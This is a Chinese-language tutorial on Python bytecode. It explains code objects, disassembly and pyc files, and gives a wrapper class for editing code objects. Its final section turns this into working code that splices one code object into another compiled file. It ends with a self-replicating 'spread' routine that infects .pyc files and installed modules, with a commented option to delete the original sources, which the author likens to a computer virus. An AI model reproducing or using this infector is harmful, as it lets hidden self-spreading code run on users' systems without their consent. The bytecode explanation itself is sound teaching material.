Python中的字节码(bytecode)是一种数据类型。PyInstaller, py2exe等库会把编译生成的字节码打包进exe中。掌握字节码的知识, 对于PyInstaller打包exe的反编译, 以及源代码的保护是十分有用的。
字节码基础知识
在Python中, 字节码是一种独特的数据类型, 常存在于用python写成的函数中。先放示例:
>>> import dis
>>> def f(x):print('hello',x)
>>> type(f.__code__)
<class 'code'>
>>> f.__code__.co_code
b't\x00d\x01|\x00\x83\x02\x01\x00d\x00S\x00'
>>> dis.dis(f)
1 0 LOAD_GLOBAL 0 (print)
2 LOAD_CONST 1 ('hello')
4 LOAD_FAST 0 (x)
6 CALL_FUNCTION 2
8 POP_TOP
10 LOAD_CONST 0 (None)
12 RETURN_VALUE
>>>
上述示例中f.__code__就是bytecode对象, f.__code__.co_code就是字节码的二进制部分, 通过dis模块可以反编译、分析这些字节码。
Python执行字节码的原理
类似Java的虚拟机, Python执行字节码的原理类似于一个CPU, 不断执行指令。字节码就相当于一个汇编语言。
以上面反编译的字节码为例,LOAD语句把print(), 字符串hello和变量x加入一个栈。
然后执行CALL_FUNCTION, 把栈里面的函数和参数出栈, 然后调用这个函数。
LOAD_CONST语句把None加入栈, 然后RETURN_VALUE把None返回, 也就是调用函数f()最终返回的结果是None。(返回一个值也是所有字节码必须做的)
为什么使用字节码
Python解释执行代码时, 会首先将原始的源代码翻译成bytecode形式, 再直接执行bytecode, 以提高性能。
如果py文件不经过编译, 直接执行, 类似shell脚本, 那么只会降低Python执行的速度。
如果py文件编译成机器码, 类似C语言, 由于不同平台使用的不是同一种机器码, 就失掉了Python跨平台的特性。
所以, 先翻译成字节码再执行, 是Python等脚本语言最佳的选择。
字节码对象的结构
前面提到的f.__code__就是一个字节码对象。下面是字节码对象所有的属性:
(在 Python 3.8+中, 增加了属性 co_posonlyargcount)
感兴趣的话, Python官方文档有更详细的字节码的介绍。
字节码和pyc文件的关系
任意一个bytecode对象都可以被存储到一个pyc文件中。类似于pickle模块, pyc文件可以完整保存一个字节码对象。
Python执行pyc文件时, 会首先从pyc文件中还原bytecode对象, 然后再执行这个bytecode。
Python常常会把py文件编译成pyc文件,存放在__pycache__目录中。(不信你看Python的安装目录里面的Lib文件夹中, 就有__pycache__目录, 里面有很多的pyc文件。)
另外, PyInstaller, py2exe等库会把编译生成的字节码打包进exe中。
包装字节码
在python中, bytecode对象的属性是不可修改的。如:
>>> def f():pass
>>> f.__code__.co_code = b''
Traceback (most recent call last):
... ...
AttributeError: readonly attribute
为了使bytecode对象更易用, 作者编写了Code类, 用于包装字节码对象。这在后面的程序中会用到。
import sys
try:
from importlib._bootstrap_external import MAGIC_NUMBER
except ImportError:
from importlib._bootstrap import MAGIC_NUMBER
from types import CodeType, FunctionType
from collections import OrderedDict
import marshal
import dis
import pickle
_py38=hasattr(compile('','','exec'), 'co_posonlyargcount')
class Code:
"""
# 用于doctest 测试
>>> def f():print("Hello")
>>> c=Code.fromfunc(f)
>>> c.co_consts
(None, 'Hello')
>>> c.co_consts=(None, 'Hello World!')
>>> c.exec()
Hello World!
>>>
>>> import os,pickle
>>> temp=os.getenv('temp')
>>> with open(os.path.join(temp,"temp.pkl"),'wb') as f:
... pickle.dump(c,f)
...
>>> f=open(os.path.join(temp,"temp.pkl"),'rb')
>>> pickle.load(f).to_func()()
Hello World!
>>>
>>> c.to_pycfile(os.path.join(temp,"temppyc.pyc"))
>>> sys.path.append(temp)
>>> import temppyc
Hello World!
>>> Code.from_pycfile(os.path.join(temp,"temppyc.pyc")).exec()
Hello World!
"""
# 关于CodeType:
# 初始化参数
# code(argcount, kwonlyargcount, nlocals, stacksize, flags, codestring,
# constants, names, varnames, filename, name, firstlineno,
# lnotab[, freevars[, cellvars]])
# 按顺序
_default_args=OrderedDict(
[('co_argcount',0),
('co_kwonlyargcount',0),
('co_nlocals',0),
('co_stacksize',1),
('co_flags',67),
('co_code',b'd\x00S\x00'),#1 LOAD_CONST 0 (None)
#2 RETURN_VALUE
('co_consts',(None,)),
('co_names',()),
('co_varnames',()),
('co_filename',''),
('co_name',''),
('co_firstlineno',1),
('co_lnotab',b''),
('co_freevars',()),
('co_cellvars',())
])
# 与Python3.8及以上版本兼容
if _py38:
_default_args['co_posonlyargcount']=0
_default_args.move_to_end('co_posonlyargcount', last=False)
_default_args.move_to_end('co_argcount', last=False)
_arg_types={key:type(value) for key,value in _default_args.items()}
def __init__(self,code=None,auto_update=True):
super().__setattr__('_args',self._default_args.copy())
if code is not None:
self._code=code
for key in self._args.keys():
self._args[key]=getattr(code,key)
else:
self._update_code()
self.auto_update=auto_update
def __getattr__(self,name):
_args=object.__getattribute__(self,'_args')
if name in _args:
return _args[name]
else:
# 调用super()耗时较大, 所以改用object
return object.__getattribute__(self,name)
def __setattr__(self,name,value):
if name not in self._args:
return object.__setattr__(self,name,value)
if not isinstance(value,self._arg_types[name]):
raise TypeError(name,value)
self._args[name]=value
if self.auto_update: self._update_code()
def _update_code(self):
self._code=CodeType(*self._args.values())
def exec(self,globals_=None,locals_=None):
if not self.auto_update: self._update_code()
return exec(self._code,globals_,locals_)
def eval(self,globals_=None,locals_=None):
if not self.auto_update: self._update_code()
return eval(self._code,globals_,locals_)
# for pickle
def __getstate__(self):
return self._args
# for pickle
def __setstate__(self,state):
super().__setattr__('_args',self._default_args.copy())
self._args.update(state)
if not _py38 and 'co_posonlyargcount' in state:
del state['co_posonlyargcount']
self._update_code()
def __dir__(self):
return object.__dir__(self) + list(self._args.keys())
@classmethod
def fromfunc(cls,function):
c=function.__code__
return cls(c)
@classmethod
def fromstring(cls,string,mode='exec',filename=''):
return cls(compile(string,filename,mode))
def to_code(self):
return self._code
def to_func(self,globals_=None,name=''):
if globals_ is None:
# 默认
import builtins
globals_=vars(builtins)
return FunctionType(self._code,globals_,name)
def pickle(self,filename):
with open(filename,'wb') as f:
pickle.dump(self,f)
def show(self,*args,**kw):
for attr in dir(self._code):
if not attr.startswith('_'):
print(attr+':',getattr(self._code,attr))
view=show
def info(self):
dis.show_code(self._code)
def dis(self,*args,**kw):
dis.dis(self._code,*args,**kw)
插入、修改字节码
我们的目标是将一个code对象插入另一个code对象中, — — 就像在DNA中插入片段。
这样, 原先的code对象被执行时, 会自动捆绑执行另一个code对象。
首先, 将py,pyc文件转换为Code对象:
from inspect import iscode
import marshal,os,sys
try:
from importlib._bootstrap_external import MAGIC_NUMBER
except ImportError:
from importlib._bootstrap import MAGIC_NUMBER
def extract_file(filename):
# 将py,pyc文件转换为Code对象
code=open(filename,'rb').read()
if filename.endswith('.pyc'):
code=code[16:] if code[16]==227 else code[12:]
return Code(marshal.loads(code))
else: # .py文件
return Code(compile(code,__file__,'exec'))
再开始插入代码。原理是先用待插入的bytecode定义一个函数,
然后, 在目标bytecode末尾, 插入一段代码, 调用这个函数, 达到插入的目的。
def to_b(int):
return int.to_bytes(1,'big')
def insert_to_code(target,code_):
# 将code_插入target对象 (相当于捆绑code_和target) !!!
# 定义函数部分的反编译
# 0 LOAD_CONST 0 (<code object f at ...>)
# 2 LOAD_CONST 1 ('f')
# 4 MAKE_FUNCTION 0
# 6 STORE_NAME 0 (f)
#2 8 LOAD_NAME 0 (f)
# 10 CALL_FUNCTION 0
# 12 POP_TOP
# 14 LOAD_CONST 2 (None)
# 16 RETURN_VALUE
co = b'''d%s\
d%s\
\x84\x00\
Z%s\
e%s\
\x83\x00\
\x01\x00\
d%s\
S\x00'''
fname='f'
# !!!
target.co_consts+=(code_._code,fname)
co_id,n_id=len(target.co_consts)-2,len(target.co_consts)-1
target.co_names+=(fname,)
f_id=len(target.co_names)-1
# 找出co_consts中None的索引, 用于在插入的bytecode最后返回None
none_id=target.co_consts.index(None)
# 组装要插入的一段bytecode
co = co % (to_b(co_id),to_b(n_id),
to_b(f_id),to_b(f_id),to_b(none_id))
# 去除原先bytecode中返回None的末尾
co_ret_none=b'd%sS\x00' % to_b(none_id)
# 将组装好的bytecode插入到target对象
target.co_code=target.co_code.replace(co_ret_none,b'') + co # !!!
return target
#然后, 将修改过的bytecode保存为pyc文件:
def dump_to_pyc(pycfilename,code):
# 制作pyc文件
with open(pycfilename,'wb') as f:
# 写入 pyc 文件头
if sys.winver >= '3.7':
pycheader=MAGIC_NUMBER+b'\x00'*12
else:
pycheader=MAGIC_NUMBER+b'\x00'*8
f.write(pycheader)
# 写入bytecode
marshal.dump(code._code,f)
总结
用上述函数, 可以制作出能自我复制的程序。
延伸阅读:Python 设计自我复制程序,模拟计算机病毒工作原理
MARK=b"#####MyPython####"
def find_mark(code):
# 判断MARK (标记)是否已在code中
return MARK in marshal.dumps(code._code)
def extract_self(co=None):
# 提取程序自身的代码, 使用递归
if not co:co=extract_file(__file__)
for value in co.co_consts:
if isinstance(value,bytes) and MARK in value:
return co
elif iscode(value):
value=Code(value)
co=extract_self(value)
if co is not None:return co
def spread(target):
# 将自身 (本文件) 插入文件target !!!
self=extract_self()
co=extract_file(target)
if not find_mark(co):
co=insert_to_code(co,self)
dump_to_pyc(os.path.splitext(target)[0] + '.pyc',co)
# print(co._code.co_code)
return co
else:return None
def spread_to_mod(modname):
# 插入到某个模块
file=__import__(modname).__file__
co=spread(file)
#if co and not file.endswith('.pyc'):os.remove(file) # 可删除原先的py文件
target='test.pyc'
co=spread(target)
# print('hello world') # 用于测试
另外, Python 字节码这一特性有广泛的用途, 例如pyc文件压缩、加密, 防止反编译pyc文件等。